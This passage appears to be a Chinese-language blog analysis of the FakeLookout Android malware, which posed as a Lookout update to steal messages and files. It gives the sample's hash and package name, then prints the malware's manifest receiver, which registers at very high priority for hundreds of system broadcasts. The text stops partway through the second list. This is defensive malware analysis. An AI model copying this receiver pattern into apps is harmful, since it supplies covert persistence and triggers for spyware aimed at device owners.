【Android病毒分析报告】 - FakeLookout

本文章由Jack_Jia编写，转载请注明出处。  
文章链接：http://blog.csdn.net/jiazhijun/article/details/8649473
作者：Jack_Jia    邮箱： [email protected]

一、序言

        该病毒由TrustGo安全分析人员在Google Play发现，该应用伪装成移动安全软件“Lookout”的升级程序，它可以窃取安卓设备上的短信/彩信、视频文件、SD卡上的任意文件。本文将对该病毒的工作原理进行分析。

二、病毒样本基本信息
               
  Md5:26905184ee9ce89cf12a04cbe00d60c2

           Package:com.updateszxt  

三、病毒代码分析

       1、查看AndroidMainfest.xml文件

        <receiver android:name=".StartService">
            <intent-filter android:priority="100000">
                <action android:name="com.android.vending.INSTALL_REFERRER" />
                <action android:name="com.lookout.labs.planb.intent.action.LAUNCHED" />
                <action android:name="android.bluetooth.intent.action.BONDING_CREATED" />
                <action android:name="android.bluetooth.intent.action.BONDING_REMOVED" />
                <action android:name="android.bluetooth.intent.action.DISABLED" />
                <action android:name="android.bluetooth.intent.action.DISCOVERY_COMPLETED" />
                <action android:name="android.bluetooth.intent.action.DISCOVERY_STARTED" />
                <action android:name="android.bluetooth.intent.action.ENABLED" />
                <action android:name="android.bluetooth.intent.action.HEADSET_STATE_CHANGED" />
                <action android:name="android.bluetooth.intent.action.MODE_CHANGED" />
                <action android:name="android.bluetooth.intent.action.NAME_CHANGED" />
                <action android:name="android.bluetooth.intent.action.PAIRING_CANCEL" />
                <action android:name="android.bluetooth.intent.action.PAIRING_REQUEST" />
                <action android:name="android.bluetooth.intent.action.REMOTE_ALIAS_CHANGED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_ALIAS_CLEARED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_CONNECTED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISAPPEARED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISAPPEARED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISCONNECTED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISCONNECT_REQUESTED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_FOUND" />
                <action android:name="android.bluetooth.intent.action.REMOTE_NAME_FAILED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_NAME_UPDATED" />
                <action android:name="android.intent.action.AIRPLANE_MODE" />
                <action android:name="android.intent.action.BATTERY_CHANGED" />
                <action android:name="android.intent.action.BATTERY_LOW" />
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.CAMERA_BUTTON" />
                <action android:name="android.intent.action.CONFIGURATION_CHANGED" />
                <action android:name="android.intent.action.DATA_SMS_RECEIVED" />
                <action android:name="android.intent.action.DATE_CHANGED" />
                <action android:name="android.intent.action.DEVICE_STORAGE_LOW" />
                <action android:name="android.intent.action.DEVICE_STORAGE_OK" />
                <action android:name="android.intent.action.GTALK_CONNECTED" />
                <action android:name="android.intent.action.GTALK_DISCONNECTED" />
                <action android:name="android.intent.action.HEADSET_PLUG" />
                <action android:name="android.intent.action.MANAGE_PACKAGE_STORAGE" />
                <action android:name="android.intent.action.MEDIA_BAD_REMOVAL" />
                <action android:name="android.intent.action.MEDIA_BUTTON" />
                <action android:name="android.intent.action.MEDIA_EJECT" />
                <action android:name="android.intent.action.MEDIA_MOUNTED" />
                <action android:name="android.intent.action.MEDIA_REMOVED" />
                <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />
                <action android:name="android.intent.action.MEDIA_SCANNER_SCAN_FILE" />
                <action android:name="android.intent.action.MEDIA_SCANNER_STARTED" />
                <action android:name="android.intent.action.MEDIA_SHARED" />
                <action android:name="android.intent.action.MEDIA_UNMOUNTABLE" />
                <action android:name="android.intent.action.MEDIA_UNMOUNTED" />
                <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
                <action android:name="android.intent.action.PACKAGE_ADDED" />
                <action android:name="android.intent.action.PACKAGE_CHANGED" />
                <action android:name="android.intent.action.PACKAGE_INSTALL" />
                <action android:name="android.intent.action.PACKAGE_REMOVED" />
                <action android:name="android.intent.action.PACKAGE_RESTARTED" />
                <action android:name="android.intent.action.POWER_CONNECTED" />
                <action android:name="android.intent.action.POWER_DISCONNECTED" />
                <action android:name="android.intent.action.PROVIDER_CHANGED" />
                <action android:name="android.intent.action.REBOOT" />
                <action android:name="android.intent.action.SCREEN_OFF" />
                <action android:name="android.intent.action.SCREEN_ON" />
                <action android:name="android.intent.action.TIMEZONE_CHANGED" />
                <action android:name="android.intent.action.TIME_SET" />
                <action android:name="android.intent.action.TIME_TICK" />
                <action android:name="android.intent.action.UID_REMOVED" />
                <action android:name="android.intent.action.UMS_CONNECTED" />
                <action android:name="android.intent.action.UMS_DISCONNECTED" />
                <action android:name="android.intent.action.WALLPAPER_CHANGED" />
                <action android:name="android.media.RINGER_MODE_CHANGED" />
                <action android:name="android.media.VIBRATE_SETTING_CHANGED" />
                <action android:name="android.net.wifi.NETWORK_IDS_CHANGED" />
                <action android:name="android.net.wifi.RSSI_CHANGED" />
                <action android:name="android.net.wifi.SCAN_RESULTS" />
                <action android:name="android.net.wifi.STATE_CHANGE" />
                <action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
                <action android:name="android.net.wifi.supplicant.CONNECTION_CHANGE" />
                <action android:name="android.net.wifi.supplicant.STATE_CHANGE" />
                <action android:name="android.provider.Telephony.SIM_FULL" />
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                <action android:name="android.provider.Telephony.WAP_PUSH_RECEIVED" />
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
                <action android:name="android.intent.action.SCREEN_OFF" />
                <action android:name="android.intent.action.SCREEN_ON" />
                <action android:name="android.intent.action.USER_PRESENT" />
                <action android:name="android.intent.action.TIME_TICK" />
                <action android:name="android.intent.action.TIME_SET" />
                <action android:name="android.intent.action.DATE_CHANGED" />
                <action android:name="android.intent.action.TIMEZONE_CHANGED" />
                <action android:name="android.intent.action.ALARM_CHANGED" />
                <action android:name="android.intent.action.SYNC_STATE_CHANGED" />
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.CLOSE_SYSTEM_DIALOGS" />
                <action android:name="android.intent.action.PACKAGE_INSTALL" />
                <action android:name="android.intent.action.PACKAGE_ADDED" />
                <action android:name="android.intent.action.PACKAGE_REPLACED" />
                <action android:name="android.intent.action.PACKAGE_REMOVED" />
                <action android:name="android.intent.action.PACKAGE_CHANGED" />
                <action android:name="android.intent.action.PACKAGE_RESTARTED" />
                <action android:name="android.intent.action.PACKAGE_DATA_CLEARED" />
                <action android:name="android.intent.action.UID_REMOVED" />
                <action android:name="android.intent.action.WALLPAPER_CHANGED" />
                <action android:name="android.intent.action.CONFIGURATION_CHANGED" />
                <action android:name="android.intent.action.LOCALE_CHANGED" />
                <action android:name="android.intent.action.BATTERY_CHANGED" />
                <action android:name="android.intent.action.BATTERY_LOW" />
                <action android:name="android.intent.action.BATTERY_OKAY" />
                <action android:name="android.intent.action.ACTION_POWER_CONNECTED" />
                <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED" />
                <action android:name="android.intent.action.ACTION_SHUTDOWN" />
                <action android:name="android.intent.action.ACTION_REQUEST_SHUTDOWN" />
                <action android:name="android.intent.action.DEVICE_STORAGE_LOW" />
                <action android:name="android.intent.action.DEVICE_STORAGE_OK" />
                <action android:name="android.intent.action.MANAGE_PACKAGE_STORAGE" />
                <action android:name="android.intent.action.UMS_CONNECTED" />
                <action android:name="android.intent.action.UMS_DISCONNECTED" />
                <action android:name="android.intent.action.MEDIA_REMOVED" />
                <action android:name="android.intent.action.MEDIA_UNMOUNTED" />
                <action android:name="android.intent.action.MEDIA_CHECKING" />
                <action android:name="android.intent.action.MEDIA_NOFS" />
                <action android:name="android.intent.action.MEDIA_MOUNTED" />
                <action android:name="android.intent.action.MEDIA_SHARED" />
                <action android:name="android.intent.action.MEDIA_BAD_REMOVAL" />
                <action android:name="android.intent.action.MEDIA_UNMOUNTABLE" />
                <action android:name="android.intent.action.MEDIA_EJECT" />
                <action android:name="android.intent.action.MEDIA_SCANNER_STARTED" />
                <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />
                <action android:name="android.intent.action.MEDIA_SCANNER_SCAN_FILE" />
                <action android:name="android.intent.action.MEDIA_BUTTON" />
                <action android:name="android.intent.action.CAMERA_BUTTON" />
                <action android:name="android.intent.action.GTALK_CONNECTED" />
                <action android:name="android.intent.action.GTALK_DISCONNECTED" />
                <action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
                <action android:name="android.intent.action.AIRPLANE_MODE" />
                <action android:name="android.intent.action.PROVIDER_CHANGED" />
                <action android:name="android.intent.action.HEADSET_PLUG" />
                <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
                <action android:name="android.intent.action.REBOOT" />
                <action android:name="android.intent.action.DOCK_EVENT" />
                <action android:name="android.intent.action.REMOTE_INTENT" />
                <action android:name="android.intent.action.PRE_BOOT_COMPLETED" />
                <action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
                <action android:name="android.net.conn.BACKGROUND_DATA_SETTING_CHANGED" />
                <action android:name="android.bluetooth.adapter.action.STATE_CHANGED" />
                <action android:name="android.media.RINGER_MODE_CHANGED" />
                <action android:name="com.android.sync.SYNC_CONN_STATUS_CHANGED" />
                <action android:name="android.net.conn.BACKGROUND_DATA_SETTING_CHANGED" />
                <action android:name="android.intent.action.CLOSE_SYSTEM_DIALOGS" />
                <action android:name="android.intent.action.PHONE_STATE" />
                <action android:name="android.accounts.AccountAuthenticator" />
                <action android:name="android.accounts.LOGIN_ACCOUNTS_CHANGED" />
                <action android:name="android.intent.action.DOWNLOAD_COMPLETE" />
                <action android:name="android.intent.action.DOWNLOAD_NOTIFICATION_CLICKED" />
                <action android:name="android.location.PROVIDERS_CHANGED" />
                <action android:name="android.speech.action.GET_LANGUAGE_DETAILS" />
                <action android:name="android.app.action.ACTION_PASSWORD_CHANGED" />
                <action android:name="android.app.action.ACTION_PASSWORD_FAILED" />
                <action android:name="android.app.action.ACTION_PASSWORD_SUCCEEDED" />
                <action android:name="android.app.action.DEVICE_ADMIN_DISABLED" />
                <action android:name="android.app.action.DEVICE_ADMIN_DISABLE_REQUESTED" />
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
                <action android:name="android.bluetooth.a2dp.action.SINK_STATE_CHANGED" />
                <action android:name="android.bluetooth.adapter.action.DISCOVERY_FINISHED" />
                <action android:name="android.bluetooth.adapter.action.DISCOVERY_STARTED" />
                <action android:name="android.bluetooth.adapter.action.LOCAL_NAME_CHANGED" />
                <action android:name="android.bluetooth.adapter.action.SCAN_MODE_CHANGED" />
                <action android:name="android.bluetooth.adapter.action.STATE_CHANGED" />
                <action android:name="android.bluetooth.device.action.ACL_CONNECTED" />
                <action android:name="android.bluetooth.device.action.ACL_DISCONNECTED" />
                <action android:name="android.bluetooth.device.action.ACL_DISCONNECT_REQUESTED" />
                <action android:name="android.bluetooth.device.action.BOND_STATE_CHANGED" />
                <action android:name="android.bluetooth.device.action.CLASS_CHANGED" />
                <action android:name="android.bluetooth.device.action.FOUND" />
                <action android:name="android.bluetooth.device.action.NAME_CHANGED" />
                <action android:name="android.bluetooth.devicepicker.action.DEVICE_SELECTED" />
                <action android:name="android.bluetooth.devicepicker.action.LAUNCH" />
                <action android:name="android.bluetooth.headset.action.AUDIO_STATE_CHANGED" />
                <action android:name="android.bluetooth.headset.action.STATE_CHANGED" />
                <action android:name="android.intent.action.ACTION_POWER_CONNECTED" />
                <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED" />
                <action android:name="android.intent.action.ACTION_SHUTDOWN" />
                <action android:name="android.intent.action.AIRPLANE_MODE" />
                <action android:name="android.intent.action.BATTERY_CHANGED" />
                <action android:name="android.intent.action.BATTERY_LOW" />
                <action android:name="android.intent.action.BATTERY_OKAY" />
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.CAMERA_BUTTON" />
                <action android:name="android.intent.action.CONFIGURATION_CHANGED" />
                <action android:name="android.intent.action.DATA_SMS_RECEIVED" />
                <action android:name="android.intent.action.DATE_CHANGED" />
                <action android:name="android.intent.action.DEVICE_STORAGE_LOW" />
                <action android:name="android.intent.action.DEVICE_STORAGE_OK" />
                <action android:name="android.intent.action.DOCK_EVENT" />
                <action android:name="android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE" />
                <action android:name="android.intent.action.EXTERNAL_APPLICATIONS_UNAVAILABLE" />
                <action android:name="android.intent.action.GTALK_CONNECTED" />
                <action android:name="android.intent.action.GTALK_DISCONNECTED" />
                <action android:name="android.intent.action.HEADSET_PLUG" />
                <action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
                <action android:name="android.intent.action.LOCALE_CHANGED" />
                <action android:name="android.intent.action.MANAGE_PACKAGE_STORAGE" />
                <action android:name="android.intent.action.MEDIA_BAD_REMOVAL" />
                <action android:name="android.intent.action.MEDIA_BUTTON" />
                <action android:name="android.intent.action.MEDIA_CHECKING" />
                <action android:name="android.intent.action.MEDIA_EJECT" />
                <action android:name="android.intent.action.MEDIA_MOUNTED" />
                <action android:name="android.intent.action.MEDIA_NOFS" />
                <action android:name="android.intent.action.MEDIA_REMOVED" />
                <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />
                <action android:name="android.intent.action.MEDIA_SCANNER_SCAN_FILE" />
                <action android:name="android.intent.action.MEDIA_SCANNER_STARTED" />
                <action android:name="android.intent.action.MEDIA_SHARED" />
                <action android:name="android.intent.action.MEDIA_UNMOUNTABLE" />
                <action android:name="android.intent.action.MEDIA_UNMOUNTED" />
                <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
                <action android:name="android.intent.action.PACKAGE_ADDED" />
                <action android:name="android.intent.action.PACKAGE_CHANGED" />
                <action android:name="android.intent.action.PACKAGE_DATA_CLEARED" />
                <action android:name="android.intent.action.PACKAGE_INSTALL" />
                <action android:name="android.intent.action.PACKAGE_REMOVED" />
                <action android:name="android.intent.action.PACKAGE_REPLACED" />
                <action android:name="android.intent.action.PACKAGE_RESTARTED" />
                <action android:name="android.intent.action.PHONE_STATE" />
                <action android:name="android.intent.action.PROVIDER_CHANGED" />
                <action android:name="android.intent.action.REBOOT" />
                <action android:name="android.intent.action.SCREEN_OFF" />
                <action android:name="android.intent.action.SCREEN_ON" />
                <action android:name="android.intent.action.TIMEZONE_CHANGED" />
                <action android:name="android.intent.action.TIME_SET" />
                <action android:name="android.intent.action.TIME_TICK" />
                <action android:name="android.intent.action.UID_REMOVED" />
                <action android:name="android.intent.action.UMS_CONNECTED" />
                <action android:name="android.intent.action.UMS_DISCONNECTED" />
                <action android:name="android.intent.action.USER_PRESENT" />
                <action android:name="android.intent.action.WALLPAPER_CHANGED" />
                <action android:name="android.media.AUDIO_BECOMING_NOISY" />
                <action android:name="android.media.RINGER_MODE_CHANGED" />
                <action android:name="android.media.SCO_AUDIO_STATE_CHANGED" />
                <action android:name="android.media.VIBRATE_SETTING_CHANGED" />
                <action android:name="android.media.action.CLOSE_AUDIO_EFFECT_CONTROL_SESSION" />
                <action android:name="android.media.action.OPEN_AUDIO_EFFECT_CONTROL_SESSION" />
                <action android:name="android.net.conn.BACKGROUND_DATA_SETTING_CHANGED" />
                <action android:name="android.net.wifi.NETWORK_IDS_CHANGED" />
                <action android:name="android.net.wifi.RSSI_CHANGED" />
                <action android:name="android.net.wifi.SCAN_RESULTS" />
                <action android:name="android.net.wifi.STATE_CHANGE" />
                <action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
                <action android:name="android.net.wifi.supplicant.CONNECTION_CHANGE" />
                <action android:name="android.net.wifi.supplicant.STATE_CHANGE" />
                <action android:name="android.provider.Telephony.SIM_FULL" />
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                <action android:name="android.provider.Telephony.SMS_REJECTED" />
                <action android:name="android.provider.Telephony.WAP_PUSH_RECEIVED" />
                <action android:name="android.speech.tts.TTS_QUEUE_PROCESSING_COMPLETED" />
                <action android:name="android.speech.tts.engine.TTS_DATA_INSTALLED" />
                <data android:scheme="" />
                <data android:scheme="package" />
                <data android:scheme="content" />
                <data android:scheme="http" />
                <data android:scheme="https" />
                <data android:scheme="file" />
                <data android:scheme="ftp" />
                <data android:scheme="about" />
                <data android:scheme="javascript" />
                <data android:scheme="inline" />
                <data android:scheme="sms" />
                <data android:scheme="smsto" />
                <data android:scheme="mms" />
                <data android:scheme="tel" />
                <data android:scheme="directory" />
                <data android:scheme="folder" />
                <data android:scheme="imto" />
                <data android:scheme="voicemail" />
                <data android:scheme="user" />
            </intent-filter>
            <intent-filter android:priority="100000">
                <action android:name="com.android.vending.INSTALL_REFERRER" />
                <action android:name="com.lookout.labs.planb.intent.action.LAUNCHED" />
                <action android:name="android.bluetooth.intent.action.BONDING_CREATED" />
                <action android:name="android.bluetooth.intent.action.BONDING_REMOVED" />
                <action android:name="android.bluetooth.intent.action.DISABLED" />
                <action android:name="android.bluetooth.intent.action.DISCOVERY_COMPLETED" />
                <action android:name="android.bluetooth.intent.action.DISCOVERY_STARTED" />
                <action android:name="android.bluetooth.intent.action.ENABLED" />
                <action android:name="android.bluetooth.intent.action.HEADSET_STATE_CHANGED" />
                <action android:name="android.bluetooth.intent.action.MODE_CHANGED" />
                <action android:name="android.bluetooth.intent.action.NAME_CHANGED" />
                <action android:name="android.bluetooth.intent.action.PAIRING_CANCEL" />
                <action android:name="android.bluetooth.intent.action.PAIRING_REQUEST" />
                <action android:name="android.bluetooth.intent.action.REMOTE_ALIAS_CHANGED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_ALIAS_CLEARED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_CONNECTED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISAPPEARED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISAPPEARED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISCONNECTED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISCONNECT_REQUESTED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_FOUND" />
                <action android:name="android.bluetooth.intent.action.REMOTE_NAME_FAILED" />
                <action android:name="android.bluetooth.intent.action.REMOTE_NAME_UPDATED" />
                <action android:name="android.intent.action.AIRPLANE_MODE" />
                <action android:name="android.intent.action.BATTERY_CHANGED" />
                <action android:name="android.intent.action.BATTERY_LOW" />
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.CAMERA_BUTTON" />
                <action android:name="android.intent.action.CONFIGURATION_CHANGED" />
                <action android:name="android.intent.action.DATA_SMS_RECEIVED" />
                <action android:name="android.intent.action.DATE_CHANGED" />
                <action android:name="android.intent.action.DEVICE_STORAGE_LOW" />
                <action android:name="android.intent.action.DEVICE_STORAGE_OK" />
                <action android:name="android.intent.action.GTALK_CONNECTED" />
                <action android:name="android.intent.action.GTALK_DISCONNECTED" />
                <action android:name="android.intent.action.HEADSET_PLUG" />
                <action android:name="android.intent.action.MANAGE_PACKAGE_STORAGE" />
                <action android:name="android.intent.action.MEDIA_BAD_REMOVAL" />
                <action android:name="android.intent.action.MEDIA_BUTTON" />
                <action android:name="android.intent.action.MEDIA_EJECT" />
                <action android:name="android.intent.action.MEDIA_MOUNTED" />
                <action android:name="android.intent.action.MEDIA_REMOVED" />
                <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />
                <action android:name="android.intent.action.MEDIA_SCANNER_SCAN_FILE" />
                <action android:name="android.intent.action.MEDIA_SCANNER_STARTED" />
                <action android:name="android.intent.action.MEDIA_SHARED" />
                <action android:name="android.intent.action.MEDIA_UNMOUNTABLE" />
                <action android:name="android.intent.action.MEDIA_UNMOUNTED" />
                <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
                <action android:name="android.intent.action.PACKAGE_ADDED" />
                <action android:name="android.intent.action.PACKAGE_CHANGED" />
                <action android:name="android.intent.action.PACKAGE_INSTALL" />
                <action android:name="android.intent.action.PACKAGE_REMOVED" />
                <action android:name="android.intent.action.PACKAGE_RESTARTED" />
                <action android:name="android.intent.action.POWER_CONNECTED" />
                <action android:name="android.intent.action.POWER_DISCONNECTED" />
                <action android:name="android.intent.action.PROVIDER_CHANGED" />
                <action android:name="android.intent.action.REBOOT" />
                <action android:name="android.intent.action.SCREEN_OFF" />
                <action android:name="android.intent.action.SCREEN_ON" />
                <action android:name="android.intent.action.TIMEZONE_CHANGED" />
                <action android:name="android.intent.action.TIME_SET" />
                <action android:name="android.intent.action.TIME_TICK" />
                <action android:name="android.intent.action.UID_REMOVED" />
                <action android:name="android.intent.action.UMS_CONNECTED" />
                <action android:name="android.intent.action.UMS_DISCONNECTED" />
                <action android:name="android.intent.action.WALLPAPER_CHANGED" />
                <action android:name="android.media.RINGER_MODE_CHANGED" />
                <action android:name="android.media.VIBRATE_SETTING_CHANGED" />
                <action android:name="android.net.wifi.NETWORK_IDS_CHANGED" />
                <action android:name="android.net.wifi.RSSI_CHANGED" />
                <action android:name="android.net.wifi.SCAN_RESULTS" />
                <action android:name="android.net.wifi.STATE_CHANGE" />
                <action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
                <action android:name="android.net.wifi.supplicant.CONNECTION_CHANGE" />
                <action android:name="android.net.wifi.supplicant.STATE_CHANGE" />
                <action android:name="android.provider.Telephony.SIM_FULL" />
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                <action android:name="android.provider.Telephony.WAP_PUSH_RECEIVED" />
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
                <action android:name="android.intent.action.SCREEN_OFF" />
                <action android:name="android.intent.action.SCREEN_ON" />
                <action android:name="android.intent.action.USER_PRESENT" />
                <action android:name="android.intent.action.TIME_TICK" />
                <action android:name="android.intent.action.TIME_SET" />
                <action android:name="android.intent.action.DATE_CHANGED" />
                <action android:name="android.intent.action.TIMEZONE_CHANGED" />
                <action android:name="android.intent.action.ALARM_CHANGED" />
                <action android:name="android.intent.action.SYNC_STATE_CHANGED" />
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.CLOSE_SYSTEM_DIALOGS" />
                <action android:name="android.intent.action.PACKAGE_INSTALL" />
                <action android:name="android.intent.action.PACKAGE_ADDED" />
                <action android:name="android.intent.action.PACKAGE_REPLACED" />
                <action android:name="android.intent.action.PACKAGE_REMOVED" />
                <action android:name="android.intent.action.PACKAGE_CHANGED" />
                <action android:name="android.intent.action.PACKAGE_RESTARTED" />
                <action android:name="android.intent.action.PACKAGE_DATA_CLEARED" />
                <action android:name="android.intent.action.UID_REMOVED" />
                <action android:name="android.intent.action.WALLPAPER_CHANGED" />
                <action android:name="android.intent.action.CONFIGURATION_CHANGED" />
                <action android:name="android.intent.action.LOCALE_CHANGED" />
                <action android:name="android.intent.action.BATTERY_CHANGED" />
                <action android:name="android.intent.action.BATTERY_LOW" />
                <action android:name="android.intent.action.BATTERY_OKAY" />
                <action android:name="android.intent.action.ACTION_POWER_CONNECTED" />
                <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED" />
                <action android:name="android.intent.action.ACTION_SHUTDOWN" />
                <action android:name="android.intent.action.ACTION_REQUEST_SHUTDOWN" />
                <action android:name="android.intent.action.DEVICE_STORAGE_LOW" />
                <action android:name="android.intent.action.DEVICE_STORAGE_OK" />
                <action android:name="android.intent.action.MANAGE_PACKAGE_STORAGE" />
                <action android:name="android.intent.action.UMS_CONNECTED" />
                <action android:name="android.intent.action.UMS_DISCONNECTED" />
                <action android:name="android.intent.action.MEDIA_REMOVED" />
                <action android:name="android.intent.action.MEDIA_UNMOUNTED" />
                <action android:name="android.intent.action.MEDIA_CHECKING" />
                <action android:name="android.intent.action.MEDIA_NOFS" />
                <action android:name="android.intent.action.MEDIA_MOUNTED" />
                <action android:name="android.intent.action.MEDIA_SHARED" />
                <action android:name="android.intent.action.MEDIA_BAD_REMOVAL" />
                <action android:name="android.intent.action.MEDIA_UNMOUNTABLE" />
                <action android:name="android.intent.action.MEDIA_EJECT" />
                <action android:name="android.intent.action.MEDIA_SCANNER_STARTED" />
                <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />
                <action android:name="android.intent.action.MEDIA_SCANNER_SCAN_FILE" />
                <action android:name="android.intent.action.MEDIA_BUTTON" />
                <action android:name="android.intent.action.CAMERA_BUTTON" />
                <action android:name="android.intent.action.GTALK_CONNECTED" />
                <action android:name="android.intent.action.GTALK_DISCONNECTED" />
                <action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
                <action android:name="android.intent.action.AIRPLANE_MODE" />
                <action android:name="android.intent.action.PROVIDER_CHANGED" />
                <action android:name="android.intent.action.HEADSET_PLUG" />
                <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
                <action android:name="android.intent.action.REBOOT" />
                <action android:name="android.intent.action.DOCK_EVENT" />
                <action android:name="android.intent.action.REMOTE_INTENT" />
                <action android:name="android.intent.action.PRE_BOOT_COMPLETED" />
                <action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
                <action android:name="android.net.conn.BACKGROUND_DATA_SETTING_CHANGED" />
                <action android:name="android.bluetooth.adapter.action.STATE_CHANGED" />
                <action android:name="android.media.RINGER_MODE_CHANGED" />
                <action android:name="com.android.sync.SYNC_CONN_STATUS_CHANGED" />
                <action android:name="android.net.conn.BACKGROUND_DATA_SETTING_CHANGED" />
                <action android:name="android.intent.action.CLOSE_SYSTEM_DIALOGS" />
                <action android:name="android.intent.action.PHONE_STATE" />
                <action android:name="android.accounts.AccountAuthenticator" />
                <action android:name="android.accounts.LOGIN_ACCOUNTS_CHANGED" />
                <action android:name="android.intent.action.DOWNLOAD_COMPLETE" />
                <action android:name="android.intent.action.DOWNLOAD_NOTIFICATION_CLICKED" />
                <action android:name="android.location.PROVIDERS_CHANGED" />
                <action android:name="android.speech.action.GET_LANGUAGE_DETAILS" />
                <action android:name="android.app.action.ACTION_PASSWORD_CHANGED" />
                <action android:name="android.app.action.ACTION_PASSWORD_FAILED" />
                <action android:name="android.app.action.ACTION_PASSWORD_SUCCEEDED" />
                <action android:name="android.app.action.DEVICE_ADMIN_DISABLED" />
                <action android:name="android.app.action.DEVICE_ADMIN_DISABLE_REQUESTED" />
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
                <action android:name="android.bluetooth.a2dp.action.SINK_STATE_CHANGED" />
                <action android:name="android.bluetooth.adapter.action.DISCOVERY_FINISHED" />
                <action android:name="android.bluetooth.adapter.action.DISCOVERY_STARTED" />
                <action android:name="android.bluetooth.adapter.action.LOCAL_NAME_CHANGED" />
                <action android:name="android.bluetooth.adapter.action.SCAN_MODE_CHANGED" />
                <action android:name="android.bluetooth.adapter.action.STATE_CHANGED" />
                <action android:name="android.bluetooth.device.action.ACL_CONNECTED" />
                <action android:name="android.bluetooth.device.action.ACL_DISCONNECTED" />
                <action android:name="android.bluetooth.device.action.ACL_DISCONNECT_REQUESTED" />
                <action android:name="android.bluetooth.device.action.BOND_STATE_CHANGED" />
                <action android:name="android.bluetooth.device.action.CLASS_CHANGED" />
                <action android:name="android.bluetooth.device.action.FOUND" />
                <action android:name="android.bluetooth.device.action.NAME_CHANGED" />
                <action android:name="android.bluetooth.devicepicker.action.DEVICE_SELECTED" />
                <action android:name="android.bluetooth.devicepicker.action.LAUNCH" />
                <action android:name="android.bluetooth.headset.action.AUDIO_STATE_CHANGED" />
                <action android:name="android.bluetooth.headset.action.STATE_CHANGED" />
                <action android:name="android.intent.action.ACTION_POWER_CONNECTED" />
                <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED" />
                <action android:name="android.intent.action.ACTION_SHUTDOWN" />
                <action android:name="android.intent.action.AIRPLANE_MODE" />
                <action android:name="android.intent.action.BATTERY_CHANGED" />
                <action android:name="android.intent.action.BATTERY_LOW" />
                <action android:name="android.intent.action.BATTERY_OKAY" />
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.CAMERA_BUTTON" />
                <action android:name="android.intent.action.CONFIGURATION_CHANGED" />
                <action android:name="android.intent.action.DATA_SMS_RECEIVED" />
                <action android:name="android.intent.action.DATE_CHANGED" />
                <action android:name="android.intent.action.DEVICE_STORAGE_LOW" />
                <action android:name="android.intent.action.DEVICE_STORAGE_OK" />
                <action android:name="android.intent.action.DOCK_EVENT" />
                <action android:name="android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE" />
                <action android:name="android.intent.action.EXTERNAL_APPLICATIONS_UNAVAILABLE" />
                <action android:name="android.intent.action.GTALK_CONNECTED" />
                <action android:name="android.intent.action.GTALK_DISCONNECTED" />
                <action android:name="android.intent.action.HEADSET_PLUG" />
                <action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
                <action android:name="android.intent.action.LOCALE_CHANGED" />
                <action android:name="android.intent.action.MANAGE_PACKAGE_STORAGE" />
                <action android:name="android.intent.action.MEDIA_BAD_REMOVAL" />
                <action android:name="android.intent.action.MEDIA_BUTTON" />
                <action android:name="android.intent.action.MEDIA_CHECKING" />
                <action android:name="android.intent.action.MEDIA_EJECT" />
                <action android:name="android.intent.action.MEDIA_MOUNTED" />
                <action android:name="android.intent.action.MEDIA_NOFS" />
                <action android:name="android.intent.action.MEDIA_REMOVED" />
                <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />
                <action android:name="android.intent.action.MEDIA_SCANNER_SCAN_FILE" />
                <action android:name="android.intent.action.MEDIA_SCANNER_STARTED" />
                <action android:name="android.intent.action.MEDIA_SHARED" />
                <action android:name="android.intent.action.MEDIA_UNMOUNTABLE" />
